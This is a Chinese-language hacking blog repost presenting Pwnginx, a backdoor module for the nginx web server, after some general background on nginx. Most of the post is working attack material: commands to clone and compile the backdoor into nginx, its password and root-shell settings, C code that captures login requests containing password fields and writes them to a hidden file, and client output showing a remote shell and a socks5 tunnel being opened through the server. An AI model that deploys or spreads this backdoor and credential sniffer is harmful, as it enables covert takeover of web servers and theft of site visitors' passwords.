记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

Pwnginx – a nginx backdoor offering shell

2013-07-14 19:35

nginxNginx(发音同 engine x)是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,并在一个BSD-like 协议下发行。由俄罗斯的程序设计师Igor Sysoev所开发,供俄国大型的入口网站及搜索引擎Rambler(俄文:Рамблер)使用。其特点是占有内存少,并发能力强,事实上nginx的并发能力确实在同类型的网页服务器中表现较好.中国大陆使用nginx网站用户有:新浪、网易、 腾讯等。

Nginx代码完全用C语言从头写成,已经移植到许多体系结构和操作系统,包括:Linux、FreeBSD、Solaris、Mac OS X、AIX以及Microsoft Windows。Nginx有自己的函数库,并且除了zlib、PCRE和OpenSSL之外,标准模块只使用系统C库函数。而且,如果不需要或者考虑到潜在的授权冲突,可以不使用这些第三方库。

作为邮件代理服务器:Nginx 同时也是一个非常优秀的邮件代理服务器(最早开发这个产品的目的之一也是作为邮件代理服务器),Last. fm 描述了成功并且美妙的使用经验。
Nginx 是一个安装非常的简单,配置文件非常简洁(还能够支持perl语法),Bugs非常少的服务器:Nginx 启动特别容易,并且几乎可以做到7*24不间断运行,即使运行数个月也不需要重新启动。你还能够不间断服务的情况下进行软件版本的升级。

Tm3y锅锅一直是我偶像,即使他不在360了,他写得这东西是一个Nginx的模块,为了减少你服务器的使用资源,使用此模块你可以不必要安装Telnet Openssh-server等等远程服务,或者有你可以通过Ningx开启一个socks5代理来访问内部资源

Nginx的无缝升级和添加模块一直是很方便,添加这个模块到你服务器非常简单

[root@centos6 nginx-1.5.2]# /pen/evil/n/sbin/nginx -V
nginx version: nginx/1.5.2
built by gcc 4.4.7 20120313 (Red Hat 4.4.7-3) (GCC)
configure arguments: --prefix=/pen/evil/n --without-http_rewrite_module --without-http_gzip_module
[root@centos6 nginx-1.5.2]# git clone https://github.com/t57root/pwnginx.git
[root@centos6 nginx-1.5.2]# ./configure --prefix=/pen/evil/n --without-http_rewrite_module --without-http_gzip_module --add-module=./pwnginx/module/
[root@centos6 nginx-1.5.2]# make && make install


然后重启你的Nginx就行,编译你时候你需要定义写东西

[root@centos6 module]# cat config.h 
#ifndef CONFIG_H
#define CONFIG_H

#define PASSWORD "t57root"
#define PWD_SNIFF_FILE "/tmp/.web_sniff"
#define ROOTSHELL

#endif
[root@centos6 module]#

还能进行sniff Http哦~

    if (r->request_body){
ngx_chain_t *cl = r->request_body->bufs;
if(cl){
//1024
char *tmp_buf = malloc(1025);
tmp_buf[1024]='\0';
strncpy(tmp_buf,(char *)cl->buf->pos,1024);
if( ngx_strcasestrn((u_char *)tmp_buf, "password=",9-1) ||
ngx_strcasestrn((u_char *)tmp_buf, "passwd=",7-1) ||
ngx_strcasestrn((u_char *)tmp_buf, "pwd=",4-1) ||
ngx_strcasestrn((u_char *)tmp_buf, "name=\"password\"",15-1) ||
ngx_strcasestrn((u_char *)tmp_buf, "name=\"passwd\"",13-1) ||
ngx_strcasestrn((u_char *)tmp_buf, "name=\"pwd\"",10-1)){
FILE *fp = fopen(PWD_SNIFF_FILE,"a");
r->request_line.data[(int)r->request_line.len]='\0';
fprintf(fp,"%s\n",(char *)r->request_line.data);
r->headers_in.host->value.data[(int)r->headers_in.host->value.len]='\0';
fprintf(fp,"Host:%s\n",(char *)r->headers_in.host->value.data);
fprintf(fp,"%s\n======================\n",cl->buf->pos);
fclose(fp);
}
}
}

获得一个SHELL:

[root@centos6 client]# ./pwnginx shell 127.0.0.1 80 t57root
[ Pwnginx ] - Pwn nginx
Copyleft by t57root @ openwill.me
<[email protected] > [www.HackShell.net]

Usage:
Get a shell access via the nginx running @ [ip]:[port]
./pwnginx shell [ip] [port] [password]
Get a socks5 tunnel listening at [socks5ip]:[socks5port]
./pwnginx socks5 [ip] [port] [password] [socks5ip] [socks5port]

[i] Obtaining shell access
[i] About to connect to nginx

[i] Enjoy the real world.
id
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

源代码和详细说明你可以在TM3Y的GIT里找到:https://github.com/t57root/pwnginx


知识来源: fuzzexp.org/pwnginx-a-nginx-backdoor-offering-shell.html

阅读:387687 | 评论:0 | 标签:工具代码

想收藏或者和大家分享这篇好文章→复制链接地址

“Pwnginx – a nginx backdoor offering shell”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云